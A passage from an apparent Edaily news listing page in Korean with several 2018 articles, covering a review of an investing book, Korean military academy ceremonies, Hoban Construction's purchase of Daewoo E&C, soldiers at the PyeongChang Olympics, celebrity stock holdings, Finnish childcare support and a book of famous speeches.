수수료 말이다. 문제는 낮은 수익률에 지불하는 과다한 수수료인데. 하물며 이들은 시간이 지날수록 복리로 불어나 통장 잔고를 갉아먹는 소리를 낸다. 저자는 1년에 1%를 초과한다면 30년쯤 뒤 10년어치의 은퇴소득을 날린다는 계산을 뽑아내기에 이른다. 오죽했으면 650억달러(약 69조 2800억원)란 재산을 모은 워런 버핏의 ‘비결’에도 등장하지 않았느냐고 했다. “내 부는 미국에 산다는 것, 운이 좋은 유전자, 거기에 복리가 결합한 결과”라고. △0.001% 머니게임 진실은 ‘흔들리지 않는 편안함’휘둘리지 않는 감정이란 게 어디 말처럼 쉬운가. 인류는 늘 불확실성의 굴레에서 벗어나려 발버둥쳐 왔던 것을. 투자라고 달라질 게 있을까. 그럼에도 말이다. 군더더기 다 빼고 책의 원제처럼 ‘언셰이커블’(Unshakeable)해야 한다는 게 저자의 지론이다. 이 안에는 ‘굳건하고 흔들리지 않는’ ‘부동의 확고한 자신감’이 들어있지만 저자가 눈여겨본 뜻은 달리 있다. ‘자존감’ ‘마음의 평화’ ‘태풍이 불어도 편안한’ 같은. 재정적인 상태든 심리적인 상태든 말이다. 물론 언젠가는 진짜 하락장이 닥칠 거란다. 하지만 그게 손 놓고 물러설 이유가 되진 못한다고 저자는 확신한다. ‘언제’가 1년 후일지 10년 후일지 알 수 없는 거 아닌가. 게다가 하강국면이 오락가락했을지언정 주식시장은 ‘늘’ 상승했다. 애매한 ‘언제’에 앞선 그림인 거다. 다만 팁은 있다. 1900년부터 100년 넘겨 주식시장을 되돌아보면 ‘매년’ 움찔하는 조정장이 있었고, 3∼5년에 한 번씩 찾아오는 약세장이 있었다는 것. 그러니 가장 위험한 요소는? 투자자가 시장에 참여하지 않는 거란다. 증시 붕괴가 아니라. 그래도 자신이 없다면 하는 수 없다. 아주 보수적인 카드를 쓸 수밖에. 이름하여 자산배분. 가진 자산을 부동산·채권·펀드 등으로 나눠놓는 일이다. 주가가 와장창 떨어져도, 가상화폐 시세가 난리를 쳐도 쉽게 매각할 수 없게 장치를 만들어두라는 거다. 전문가의 뻔한 입놀림처럼 보이나. 저자가 고백한 어린시절을 들으면 그런 얘기는 안 나올 거다. 찢어지게 가난한 집에서 4명 아버지를 거쳤고 어머니는 알코올중독자. 25센트 티셔츠도 과분해 고등학교 때는 발목이 10㎝ 드러나는 청바지를 입었단다. 다음날 끼니문제를 걱정하면서. 덕분에 자신 있게 말할 수 있단다. “미래에 대한 끊임없는 불안감 속에서 산다는 것이 어떤 느낌인지 안다”고. 그래서인가. 책의 미덕은 겁주기를 하지 않는다는 거다. 다 쏟아부어라 윽박지르지도, 가격이 폭락할 거라 위협하지도, “거봐라. 내 말대로 됐지”라며 약을 올리지도 않는다. 그저 세련된 말투로 조근조근 타이르듯 이른다. 부자가 부자인 데는 이유가 있다고. 하지만 참 답답한 노릇이 아닌가. 무게는 다시 투자자의 몫으로 돌아왔으니. 말이 난 김에 따져 보자. 잘못됐든 아니든 자신의 믿음에 부합하는 정보만 믿는 건 투자자의 고질병이다. 그 ‘확증편향’이 돈 넣고 돈 잃기의 출발점인 거다. 근시안도 문제다. 최근에 본 내용으로만 미래를 읽으려 하지 않나. 10년 새 한 번 휘청하든, 1년 새 한 번 휘청하든 그냥 똑같은 ‘휘청’이다. 이 ‘최신편향’에서 분석결과는 “미래가 불안하다”뿐이니. 변화심리학자의 독특한 시각이 신선하다. 이 말은 첵에서 물질적인 돈의 법칙을 기대했다면 ‘꽝’이란 얘기다. 특히 ‘정서적 부’ ‘행복·이상·베풀기’ 운운한 결론은 억지스럽기까지 하다. 하지만 부와 심리를 씨실날줄로 삼아 이만큼 엮어내는 게 쉬운 일이 아니다. 주식에 왼쪽 뺨을, 가상화폐에 오른쪽 뺨을 맞고 만신창이가 된 마음에 맷집을 키우는 데는 아주 그만이다.
2018.03.14 I 오현주 기자
개교 50주년 육군3사관학교, 53기 생도 492명 임관
  • 개교 50주년 육군3사관학교, 53기 생도 492명 임관
  • [이데일리 김관용 기자] 올해로 개교 50주년을 맞은 육군3사관학교가 2일 학교 연병장에서 53기 졸업 및 임관식을 갖고 여군 19명을 포함한 정예장교 492명을 배출한다. 송영무 국방부 장관 주관으로 열린 이날 행사는 기존의 합동임관식을 폐지하고 2010년 이후 8년 만에 학교에서 시행하는 임관행사다. 학부모, 가족, 친지, 합참의장 및 각군 총장 등 4000여 명이 참석해 신임장교의 새로운 출발을 축하했다.이날 졸업 및 임관하는 신임장교들은 지난 2016년에 입교해 2년간 전공 및 군사학 교육과정을 이수했다. 전공별로 문학사, 이학사, 공학사 학위와 함께 군사학사 등 2개 학위를 동시에 취득했다.송영무 국방부 장관이 2일 오후 경북 영천 육군 3사관학교 연병장에서 열린 53기 졸업·임관식에서 졸업생과 악수하고 있다. [사진=연합뉴스]이날 행사에서는 권순영(23세) 소위가 대통령상, 윤용성(22) 소위가 국무총리상, 이병철(25) 소위가 국방부장관상을 받았다. 또 김태수(22) 소위는 합참의장상, 김송이(25) 소위는 연합사령관상, 김승현 소위(23)는 참모총장상, 정해진(22)·정동길(25)소위는 학교장상을 수상했다. 졸업생 중 성적우수자로 국방부장관상을 수상한 이병철 생도는 수도군단 특공연대에서 병사와 부사관 생활을 거쳐 장교로 다시 새롭게 출발해 군번을 3개 소유한 이력을 갖게 됐다. 임관자 중 군번이 3개인 생도는 이병철 생도를 포함해 총 9명이다. 특히 집에서는 누나와 동생이지만 학교에서는 동기로 생활한 2쌍의 남매가 나란히 임관했다. 누나 안우상(25) 소위와 동생 안철우(22) 소위, 누나 최정완(26) 소위와 동생 최동혁(23) 소위는 2년의 생도 과정 동안 선의의 경쟁자이자 든든한 동기로 서로 격려하고 응원해주며 역경의 순간을 함께 이겨내 함께 임관했다.해외 유학파인 이준창(25) 소위는 중학교 때 필리핀으로 유학을 가 치의대학에 진학해 치과의사로 미래가 보장돼 있었지만 이를 포기하고 대한민국 장교의 길을 선택했다. 이 소위는 “의사는 한 명의 생명을 구하지만, 군인은 많은 생명을 구할 수 있기 때문에 육군3사관학교 장교가 됐다”고 말했다.2일 오후 경북 영천 육군 3사관학교 연병장에서 열린 53기 졸업·임관식에서 졸업생들이 송영무 국방부 장관에게 경례하고 있다. [사진=연합뉴스]3부자 동문도 탄생했다. 이인규(23)소위는 아버지가 23기 이승진 예비역 중령(52), 형은 49기 이동규 대위(26)로 아버지와 형의 영향으로 장교의 길을 선택했다고 한다.이밖에 생도 생활을 하면서 자기계발을 통해 각 분야에서 두드려진 실력을 드러낸 생도들도 많다. 안동준(22) 소위는 태권도 3단, 라이프가드, 서평지도사 3급 등 14개의 자격증을 보유하고 있다. 김훈정(23) 소위는 태권도 4단, 유도 3단 등 무도 단증만 합쳐 14단이다.이번에 임관하는 장교들은 전원 체력검정과 사격에서 특급을 달성했을 뿐 아니라 전산분야 자격 취득, 무도 초단 이상 자격을 획득했다. 육군의 임관종합평가 6개 과목을 우수하게 통과해 ‘무적의 전사 공동체’로서의 자질과 소양을 갖췄다. 이들은 임관 이후 각 병과학교에서 초등군사반(OBC) 교육과정을 수료 후 야전부대에 배치돼 임무를 수행하게 된다.
2018.03.02 I 김관용 기자
32.8대 1 경쟁률 뚫고 육사 78기 305명 입학
  • 32.8대 1 경쟁률 뚫고 육사 78기 305명 입학
  • [이데일리 김관용 기자] 육군사관학교가 26일 오전 교내 화랑연병장에서 78기 생도 305명(여생도 29명·외국군 수탁생도 7명)의 입학식과 재교 생도의 진학식을 개최했다. 역대 가장 높은 32.8대 1이라는 경쟁률을 뚫고 선발된 신입생도들은 이날 입학식을 통해 정식 사관생도가 된다. 최근 3년간 경쟁률은 2017년 31.2대 1, 2016년 22대 1, 2015년 18.6대 1이었다. 신입생도들은 지난 4주 동안의 기초군사훈련을 통해 군사훈련은 물론 ‘사관학교 공동체’ 일원으로서 갖춰야 할 예절과 덕목 등을 우선적으로 교육받았다. 학교 교관들은 코칭기법을 적용해 신입생도들이 훈련의 목적과 이유를 생각하고 주도적으로 행동할 수 있도록 ‘지적’이 아닌 ‘지도’를 하는데 중점을 뒀다. 이날 입학한 생도 가운데는 이색사연을 가진 이들이 있다. 김형준(18) 생도는 아버지가 한미연합사에서 복무하는 김봉건(49) 준위, 형은 올해 장교로 임관할 예정인 김호현(23) 학군장교 후보생으로 3부자가 군인의 길을 걷게 됐다. 조인표(22)·조성종(19) 생도는 형제가 나란히 78기로 입학한다. 김성무(19) 생도는 누나가 76기 김신영(21) 생도, 박주성(20) 생도는 형이 76기 박지상(22) 생도다. 이들은 각각 누나와 형의 뒤를 이어 육사 생도가 된다. 신입생도 중에는 6개국 총 7명의 외국군 수탁생도도 있다. 특히 최초로 사우디아라비아 수탁생도 2명이 포함됐다. 김완태 학교장(중장)은 축사를 통해 “남다른 길을 선택해 어려움을 이겨내고 당당히 대한민국 육군사관학교 생도가 된 것을 축하한다”면서 “앞으로 꿈을 향해 힘찬 도전을 펼쳐나길 바란다”고 말했다.
2018.02.26 I 김관용 기자
김상열의 뚝심… 자본금 1억원 회사에서 대우건설 새 주인으로
  • 김상열의 뚝심… 자본금 1억원 회사에서 대우건설 새 주인으로
  • △호반건설 외부 전경[이데일리 김기덕 기자] 김상열 호반건설 회장은 ‘은둔형 리더’로 불린다. 기업 경영에 있어서도 ‘무차입 ’, ‘90% 분양 원칙’(분양 중인 아파트의 누적 계약률이 90%를 넘지 안으면 신규 분양에 나서지 않는 것)을 철저히 지킬 정도로 보수적인 경영을 하는 기업인으로 유명하다. 그런 그가 올해 초 신년사에서 “신규사업 발굴과 인수·합병(M&A)을 통해 미래 비전 찾을 것”이라고 공식적으로 밝힐 정도로 사세 확장을 위해 욕심을 낸 기업이 있다. 바로 건설업계서도 맏형격이자 ‘인재 사관학교’로 불리는 대우건설이다. 이번 대우건설 인수를 통해 호반건설은 시공능력평가 기준 업계 3위권으로 단숨에 도약하게 됨은 물론 대형건설사의 각종 사업 노하우와 해외사업 및 영업망 확장 등 시너지를 통해 업계 ‘톱’으로 발돋움할 수 있다는 전망도 나오고 있다. ◇위기를 기회로 삼은 경영 전략 △김상열 호반건설 회장호반건설의 시작은 미약했다. 전남 보성에서 태어난 김 회장은 28살 때인 1989년 자본금 1억원, 5명의 직원으로 호반건설을 설립했다. 기업 규모는 작았지만 평소 “개척정신이 특별한 정주영 현대그룹 회장이 롤 모델”이라고 입버릇처럼 말했던 그는 사업 확장 욕심이 컸다. 김 회장은 1996년 현 호반건설의 모태인 현대파이낸스를 설립해 금융업을 시작했다. 1998년 국제통화기금(IMF) 외환위기 때 다른 건설사들이 싸게 내놓은 땅을 사들인 뒤 주택 분양사업을 펼치는 등 위기를 기회로 삼을 만큼 사업 수완이 뛰어났다. 현대파이낸스는 신화개발주식회사, 호반건설산업으로 사명을 바꾸다가 2006년 현재 사명인 호반건설이 됐다. 2008년 최악의 글로벌 금융위기 역시 김 회장에게는 기회였다. 대다수 건설사들이 위기를 견디지 못하고 보유한 토지들을 헐값에 내놓을 때 풍부한 유동성을 바탕으로 이를 사들여 분양사업장을 늘렸다. 그는 이런 과정을 통해 호반건설을 호남의 지방 건설사에서 전국구 건설사로 키웠다. 업계 관계자는 “평소 자금력을 갖추고 기다리다가 금융위기로 건설사들이 줄도산할 당시에 시장에 나온 세종시, 화성 동탄2신도시, 시흥 배곧신도시 등 우량한 택지 부지를 사들인 뒤 이를 부동산 회복기에 분양해 성공한 것이 주효했다”며 “김 회장의 독특한 경영 스타일이 호반건설을 업계에서 입지를 굳히는데 결정적으로 작용했다”고 말했다. 호반건설의 탄탄한 자본력은 김 회장의 ‘90% 원칙’에서 비롯됐다. 이미 분양한 단지의 누적 분양률이 90%를 넘지 않으면 더 이상 신규 분양을 하지 않는 것이다. 이를 통해 미분양 위험을 최소화했다. 무차입 경영을 통해 현재 자산 총액 7조원, 재개 서열 47위로 성장했지만 여전히 부채비율은 20% 이하다. 호반건설은 주택도시보증공사(HUG) 4년 연속 AAA등급, 서울신용평가정보 신용평가 11년 연속 A등급 등 건설업계 최고의 신용 등급을 보유하고 있다. 지난해 9월엔 공정거래위원회로부터 준대기업 집단(자산총액 5조원 이상의 공시대상 기업집단)으로 지정된 바 있다. 서울시 종로구 새문안로 대우건설 본사.(사진=연합뉴스제공)◇‘승자의 저주’ 없을 듯… 도시개발사업 시너지 기대 인수·합병에 있어서는 공격적이었던 김 회장은 2015년 이후 울트라건설과 제주 퍼시픽랜드를 인수했다. 업계에서는 기존 주력인 주택사업의 한계점을 느끼고 다양한 사업 포트폴리오를 마련하게 된 본격적인 시발점으로 해석하고 있다. 현금 부자인 호반건설이 본인보다 두배 가량 덩치가 대우건설(자산 10조원, 매출 11조원)을 사들이면서 그동안 추진한 사업 다각화에 박차를 가할 것으로 보인다. 그동안 호반건설은 매출의 90% 이상이 주택부문에서 발생할 정도로 사업이 국내 주택이 전부라도 해도 과언이 아니었다. 하지만 이번 대우건설 인수를 계기로 중동지역 플랜트, 동남아·아프리카 사회간접자본(SOC) 사업 등 해외 수주에 첫 발을 떼게 될 전망이다. 국내 주택부문에 있어서도 수도권 지역이 아닌 서울 강남 재건축시장 등 핵심 입지에 들어설 수 있게 된다. 대우건설의 대표 브랜드인 ‘푸르지오’와 ‘푸르지오 써밋’이라는 전국구 아파트 브랜드를 보유하게 됨으로써 아파트 브랜드 위상이 한층 높아질 것으로 보인다. 업계 관계자는 “푸르지오 브랜드가 2010년 이후 국내 건설사 중에서도 가장 많은 주택 물량을 공급해 왔고 해외사업 경험도 많기 때문에 인수 비용 등이 다소 무리가 있더라도 인수하는게 유리했다고 내부 전략을 세운 것으로 안다”고 말했다. 전문가들은 호반건설이 과거 2006년 금호산업의 대우건설 인수 때와 같은 ‘승자의 저주’에 빠지지는 않을 것으로 보고 있다. 우선 인수가격이 12년 전 6조6000억원에서 1조6000억원대로 크게 줄어든데다 분할매수 조건(40% 지분인수·추후 10% 인수)이 받아들여지면 당장 필요한 대금도 1조3000억원 안팎으로 크게 부담이 없기 때문이다. 업계에서는 호반건설이 약 1조원 안팎의 현금 및 현금성 자산을 보유하고 있는 것으로 관측하고 있다. 채상욱 하나금융투자 연구원은 “호반건설이 현 재무상태에서 다소 차입을 일으키더라도 큰 무리가 없을 것으로 본다”며 “대우건설과의 시너지를 통해 규모가 큰 도시개발사업을 추진하면서 기업 가치도 더욱 올라갈 것”이라고 말했다.
2018.01.31 I 김기덕 기자
"아버지가 지킨 서울올림픽, 평창올림픽은 아들이"
  • "아버지가 지킨 서울올림픽, 평창올림픽은 아들이"
  • 아버지에 대(代)를 이어 올림픽 지원 임무를 수행하고 있는 육군 11사단 박준현 상병(왼쪽)과 김영훈 일병(오른쪽)이 화이팅을 외치고 있다. [사진=육군][이데일리 김관용 기자] 대(代)를 이어 올림픽 지원 임무를 수행하고 있는 올림픽 지킴이 부자가 있다. 30년 전 아버지가 1988서울올림픽 지원 임무를 수행한데 이어 2018 평창 동계올림픽에선 아들이 담당하게 된 것이다. 육군 11사단 박준현 상병(21)과 김영훈 일병(21)은 각각 2016년 12월과 2017년 4월 입대해 지난 11월부터 평창 동계올림픽·패럴림픽 지원 임무를 수행하고 있다. 이들은 경기장 등에서 인원과 차량을 통제하고 예기치 않은 상황발생시 초기에 대응하는 임무를 맡고 있다.박 상병의 아버지 박영상 씨(52·예비역 소령)는 1987년 육군3사관학교 24기로 임관해 소대장으로 복무하던 중 1988년 7월부터 12월까지 올림픽 경기장 일대 경계임무를 수행했다. 김 일병의 아버지 김태남 씨(50·예비역 병장)는 1987년 병사로 입대해 1988년 7월부터 12월까지 올림픽 시설을 보수하는 역할을 했다.두 아버지는 아들이 자신에 이어 올림픽 지원 임무를 수행한다는 소식을 듣고 이메일로 편지를 써 보냈다. 편지에서 박영상 씨는 “국가적인 행사에 2대(代)째 지원임무를 수행할 수 있다는 것에 영광스럽게 생각한다”며 “추운날씨에 고생스럽겠지만 항상 자부심을 갖고 성공적인 올림픽 개최를 위해 노력해주길 바란다”고 당부했다. 부대 장병들은 전우의 아버지가 보내온 이메일 편지를 함께 읽으며 임무수행에 대한 긍지와 자부심을 더욱 고취했다고 한다. 김태남 씨도 이메일 편지를 통해 “30년 전 복무했던 군 생활을 돌이켜보면 가장 기억에 남는 것이 올림픽 지원 임무”라며 “아들에게도 평생 간직할 소중한 추억이 생긴 것 같아 감회가 새롭다”고 말했다. 대(代)를 이어 올림픽 지원 임무를 수행하고 있는 육군 11사단 박준현 상병(아래)과 김영훈 일병(위)이 올림픽 메인 경기장에서 시설을 점검하고 있다. [사진=육군]
2018.01.28 I 김관용 기자
박순애 풍국주정 이사·함연지 오뚜기 손녀, 연예인 주식부자 약진
  • 박순애 풍국주정 이사·함연지 오뚜기 손녀, 연예인 주식부자 약진
  • [이데일리 e뉴스 박지혜 기자] 연예인 주식부자에 이름을 올린 탤런트 박순애(52)에 대한 관심이 높다.14일 재벌닷컴에 따르면 국내 100억 원 이상 상장사 주식을 보유한 연예인은 12일 기준으로 모두 7명이다. 이 가운데 198년대 후반 탤런트로 활동한 박순애는 주식 재산이 1년 전 118억7000만 원에서 229억3000만 원으로 93.2% 증가했다. 박순애는 남편 이한용 대표이사의 풍국주정공업 이사로, 지분 13.29%를 갖고 있다.한양대학교에서 연극영화학을 전공한 박순애는 1986년 MBC 공채 탤런트 16기로 데뷔해 1986년 드라마 ‘한지붕 세가족’으로 방송에 입문했다. 1988년 백상예술대상 TV부문 신인연기상을 받았으며 드라마 천명(1989)‘, ’춤추는 가얏고(1990)‘, ’가시나무 꽃(1992), ‘야망(1994)’ 등을 통해 80년대 청순 미녀 탤런트로 인기를 모았다.탤런트 박순애드라마 뿐만 아니라 영화와 광고에서 활발하게 활동하던 그는 1994년 8월 이한용 풍국주정 대표이사와 결혼하면서 연예계에서 은퇴했다.박순애를 비롯한 연예인 7명이 보유한 상장사 주식 가액은 4479억6000만 원으로, 1년 전보다 977억4000만 원(27.9%) 증가했다.박진영 JYP엔터테인먼트 이사는 보유한 JYP 지분(16.27%)의 가치가 730억 원으로 1년 만에 2.7배로 늘어났으며, 증가액은 무려 462억1000만 원(172.4%)에 달했다.이수만 SM엔터테인먼트 회장의 주식 보유액도 1558억1000만 원으로 1년 새 446억4000만 원(40.2%) 늘었다.‘오뚜기’ 일가의 3세이자 뮤지컬 배우인 함연지가 보유한 오뚜기 지분 1.16%의 가치는 311억2000만 원으로, 1년 전보다 56억4000만 원(22.1%) 늘어났다. 함연지는 함영기 오뚜기 회장의 장녀로 주식을 증여받았다.반면, 양현석 YG엔터테인먼트 대표는 주식 재산이 951억3000만 원으로 1년 전보다 1.5% 줄었다. 양 대표는 YG 플러스 지분 7.43%와 YG엔터테인먼트 지분 16.12%를 보유하고 있다.엔터테인먼트 기업 키이스트의 지분 25.12%를 가진 최대주주 배우 배용준의 주식 자산 가치도 429억 원으로 1년 전보다 9.8% 감소했다.한성호 FNC엔터테인먼트 대표의 보유 주식 재산도 270억7000만원으로, 작년보다 11.9% 줄었다.
2018.01.14 I 박지혜 기자
유모차 끌면 버스·지하철이 공짜…육아가 대접받는 나라
  • 유모차 끌면 버스·지하철이 공짜…육아가 대접받는 나라
  • 핀란드 모든 대중교통 내부에는 유모차 동반 탑승객들을 위한 유모차 전용 구역이 설치돼 있다. (사진=김보영 기자)[헬싱키(핀란드)=이데일리 김보영 기자] “아이들은 가정의 미래이자 핀란드의 내일입니다. 행복한 핀란드는 행복한 아이들이 만듭니다. 육아· 아동 복지는 지속 가능한 핀란드를 만들기 위해 반드시 필요한 투자입니다.”스웨덴과 러시아 식민지였던 핀란드. 1917년에야 비로소 ‘핀란드’라는 국명을 걸고 독립한 100년 역사의 신생국가다. 그러나 유럽내에서도 ‘복지천국’, ‘육아천국’, ‘교육의 나라’란 칭송을 받는 대표적 복지국가다. ◇ 핀란드에서 유모차 동행시 대중교통 무료 핀란드 헬싱키에 발을 내딛자 한국땅에선 볼 수 없는 모습들이 줄지어 나타났다. 모든 핀란드 대중교통들은 차량안 중앙 출입문 바로 옆에 유모차 전용 주차구역이 마련돼 있다. 출입문엔 계단 대신 완만한 경사로가 있고, 버스와 트램 모두 인도 가까이에 바짝 붙어 정차한다. 유모차나 휠체어가 손쉽게 탑승할 수 있도록 하기 위해서다. 무엇보다 유모차를 동반한 승객들은 자국 국민 뿐 아니라 관광객도 모든 대중교통 이용이 무료일 뿐 아니라 가장 먼저 탑승하는 배려를 받는다유모차를 끌고 버스나 지하철을 타는 게 불가능에 가까운 우리나라에서는 상상도 할 수 없는 일이다. 헬싱키 시립 박물관 내부에 설치된 유모차 전용 주차장. (사진=김보영 기자) 대형마트와 쇼핑몰, 식당엔 입장료 뿐 아니라 무선 인터넷도 무료인 놀이방이 있고 박물관 등 공공시설엔 유모차 전용 주차장이 있다. 이뿐만이 아니다. 헬싱키 시내 박물관들은 놀이기구와 다양한 체험 교육 프로그램들을 무상으로 제공한다. 이처럼 유모차를 동행하면 대접받는 곳이다보니 어디를 가나 유모차를 끄는 부모들이 넘쳐난다. ◇ 부모에게 육아법 가르치는 핀란드 정부 안티 리포(Antti Lippo)씨. 헬싱키에서 1세 딸 쉴라(Sheela)를 키우는 워킹대디다. 도시환경 컨설턴트로 일하는 안티씨는 결혼 3년만에 아이 아빠가 됐다. 벤처회사에서 일하는 아내를 대신해 육아휴직을 내고 아이를 돌본 지 4개월째다. 안티씨는 “아내는 벤처회사에서 일해 상대적으로 근무시간을 조정하기 쉽다. 부모가 아이와 함께 하기 위해선 내가 육아휴직을 내는게 옳은 선택이었다. 무엇보다 아내는 자신의 일을 너무 사랑한다”며 웃었다. 안티씨의 아내는 전체 근무시간의 80%만 일하는 주4일 시간 선택제 근무로 가족들과 함께 하는 시간을 늘렸다. 이제는 익숙한 육아아빠지만 안티씨도 처음 쉴라를 돌볼 때는 좌충우돌이었다. 안티씨는 육아에 쉽게 적응할 수 있었던 배경으로 △이웃과의 공동육아 △정부와 지자체가 제공하는 아동·부모 교육 복지 시스템 △육아친화적인 시설과 사회분위기를 꼽았다.안티씨는 “아이를 부모가 오롯이 완벽하게 돌봐야 한다는 생각을 버려야 아이를 돌보는 게 즐겁고 행복해진다. 아이는 부모 뿐 아니라 이웃과 나라가 도와야 바르게 자라날 수 있다”고 말했다. 안티씨는 아이들을 위한 공간과 배려 못지 않게 부모들을 위한 교육과 만남의 장소가 많아야 한다고 강조했다. 그는 “부모들도 처음 엄마, 아빠가 됐을 때 미숙할 수 밖에 없다. 임신부터 육아까지 단계별로 노하우와 지침을 제공하는 부모 교육기관이 정말 중요하다. 핀란드는 신혼부부가 가족계획을 세우는 순간부터 남녀 구분없이 출산·육아와 관련한 상담 및 교육을 적극적으로 지원한다”고 전했다. 안티 리포(Antti Lippo)씨가 자신의 딸 쉴라에게 책을 읽어주고 있다. (사진=김보영 기자)◇남성육아휴직율 30%…가정양육수당제도 악용도 육아의 경제적 부담이 크지 않다는 점 역시 핀란드 복지의 장점이다. 핀란드 부모들은 아이가 태어난 뒤 18세가 될 때까지 매달 100유로(원화 기준 12만 8000원)를 받는다. 집에서 아이를 키우면 정부가 매달 600유로(76만 7800원)을 지원한다. 유일한 보육비용은 월 300유로(38만 4000원)인 어린이집 보육료다. 저소득층 가정은 이 돈도 정부가 대신 낸다. 초등학교에서 대학까지는 모두 무상교육이다. 부자든, 가난하든 무상교육에는 예외가 없다. 안티씨는 “부자는 세금을 더 낼 뿐”이라고 말했다.핀란드 육아지원 제도에도 그늘이 존재한다. 핀란드 정부는 여성의 독박육아를 깨기 위해 수십년간 사회와 가정에 양성평등을 뿌리내리기 위해 노력해 왔다. 그러나 아직까지 남성이 육아휴직을 사용하는 경우는 10명 중 3명 뿐이다. 물론 남성 육아휴직자 비율이 8.5%(2016년 기준)에 머물러 있는 우리나라에 비할 바는 아니다. 다만 남성육아 휴직자가 30% 선에서 정체되고 있는 이유는 우리와 비슷하다. 안티씨는 “수십년간 이어진 양성평등을 위한 제도적 노력 덕에 남성이 아이의 출산 직후 부성휴가와 육아휴직을 사용할 수 있게 됐다. 하지만 육아휴직을 하면 소득이 감소하기 때문에 상대적으로 소득 수준이 낮은 여성이 육아휴직을 하는 경우가 많다”고 말했다. 이 때문에 상대적으로 소득수준이 떨어지는 소도시나 지방에서는 직장 여성의 경력단절 문제가 지역사회의 고민거리라고 한다. 물론 경력단절여성이 181만 2000여명(2017년 4월 기준)에 달하는 우리나라 워킹맘들에게는 배부른 소리일 뿐이다. 가정양육수당제도를 악용하는 부모들이 적지 않다는 점도 핀란드 사회가 안고 있는 과제다. 일부 빈민·이민자 가정에서는 생활비로 쓰기 위해 아이를 어린이집에 보내는 대신 가정양육수당 지원을 선택한다. 2015년 핀란드 사회보건부 조사 결과에 따르면 7세 미만 자녀를 둔 핀란드 여성 10명 중 4명은 보육시설을 이용하는 대신 가정양육수당을 받는다. 하지만 핀란드 국민들은 긍정적이다. 많은 난제와 어려움을 이겨내고 현재의 복지국가를 일군 역사에 대한 대한 자부심이 미래에 대한 낙관으로 이어진다. “저희 아버지만해도 바깥 일에 매달리느라 그다지 가정적이지 않았습니다. 지금의 핀란드를 만드는 데는 오랜 시간과 노력이 들었습니다. 지금 남아 있는 여러 문제들을 해결하는 데 또 오랜 시간이 걸릴 수 있습니다. 하지만 쉴라와 우리 모두가 행복한 나라를 만들 수 있다면 얼마든지 기다릴 수 있습니다.” 핀란드 지방자치단체가 운영하는 공공놀이터. 이곳에서는 아이들을 위한 교육프로그램과 부모교실을 무료로 운영하고 있다. (사진=김보영 기자)*본 기획물은 언론진흥기금의 지원을 받았습니다.
2018.01.08 I 김보영 기자
'고급지게' 입으로 기죽이다
  • '고급지게' 입으로 기죽이다
  • [이데일리 오현주 문화전문기자] “핵무기를 보유하지 않은 나라는 독립을 상상조차 할 수 없습니다.” 이게 무슨 소리인가. 북한의 김정은이나 입에 올릴 수 있을 법한 이 역설은 이미 55년 전에 나왔다. 샤를 드골 프랑스 대통령의 연설에서다. 1963년 2월 파리 육군사관학교를 방문한 자리에서였다. 다만 이 한 문장을 이해하기 위해선 시대적 배경을 읽는 게 반드시 필요하다. 1960년 알제리 한 사막에서 원자폭탄을 실험해 세계서 네 번째 핵보유국이 된 직후. 프랑스는 이후 벌어진 알제리의 독립전쟁 동안 권위와 명성에 큰 상처를 입었다. 최소한 프랑스의 엘리트군사학교에서의 연설에서만큼 드골은 군의 사기를 높이는 방편이 필요했던 거다. ‘독립적인 국방정책’부터 챙겨야겠다는 복안은 “운명에 대한 책임을 외국에 내어줄 마음이 없다”는 선언으로 전달했다. 비록 내용은 비딱했지만 이날 드골의 연설은 프랑스가 지금껏 자랑스러워하는 명문으로 남았다. 영국 역사학자이자 칼럼니스트인 저자가 세계 정상·리더들의 연설문을 한 권으로 묶어냈다. 가까이는 버락 오바마부터 토니 블레어, 넬슨 만델라, 미하엘 고르바초프, 마거릿 대처를 찍고 멀게는 윈스턴 처칠까지. 현대사의 중심에 섰던 35인이 세상을 향해 울렸던 목소리를 응집했다. 리더의 열정이 무엇이고, 희망이 어떤 것이며, 통찰은 어때야 한다는 지론을 이들의 말에서 찾아냈다. 오바마가 남긴 수많은 명연설 중에선 2012년 11월 대통령 재선당선연설을 골랐다. 오바마 특유의 개인주의적 낙관주의와 미래 미국에 대한 희망을 뒤범벅한 ‘미국적인 강한 믿음’을 드러냈다고 평가했다. 이 자리에서 오바마는 “우리를 부자를 만드는 건 물질적 부가 아니고, 강하게 만드는 건 군대가 아니며, 세계가 미국에 모이는 건 문화와 대학 때문은 아니”라고 했다. 미국을 탁월하게 만드는 건 “지구상에서 가장 다양한 민족을 하나로 묶어주는 유대감”이라고. 이외에도 마오쩌둥이 1957년 최고국가회의에서 개방성과 표현의 자유를 강조한 연설인 ‘백송이 꽃이여 피어나라. 백개의 학파가 겨루어라’, 마틴 루터 킹 주니어의 1963년 링컨기념관 연설인 ‘나에게는 꿈이 있습니다’ 등, 저자는 역사가 알아본 리더들이 문장 하나로 대중을 뒤흔든 현장까지 담아냈다. 뒤집어보면 입으로 대중을 고급스럽게 압도한 ‘선전문’이나 다름없다. 그럼에도 강한 메시지가 있다. 선전문이라도 철학이 있어야 한다는 것, 위기모면 식이었다면 휘발성 멘트로 끝났을 거란 것, 대중은 대상이 아니라 주체여야 한다는 것 등. 사실 이조차 군더더기다. 한 문장씩 곱씹으며 서서히 빠져들면 알게 된다. 사람을 움직이는 연설이 ‘거리에서 물건 파는 일’이 아니란 것을.
2018.01.03 I 오현주 기자

04517 서울시 중구 통일로 92 케이지타워 18F, 19F 이데일리

대표전화 02-3772-0114 I 이메일 webmaster@edaily.co.krI 사업자번호 107-81-75795

등록번호 서울 아 00090 I 등록일자 2005.10.25 I 회장 곽재선 I 발행·편집인 이익원 I 청소년보호책임자 고규대

ⓒ 이데일리. All rights reserved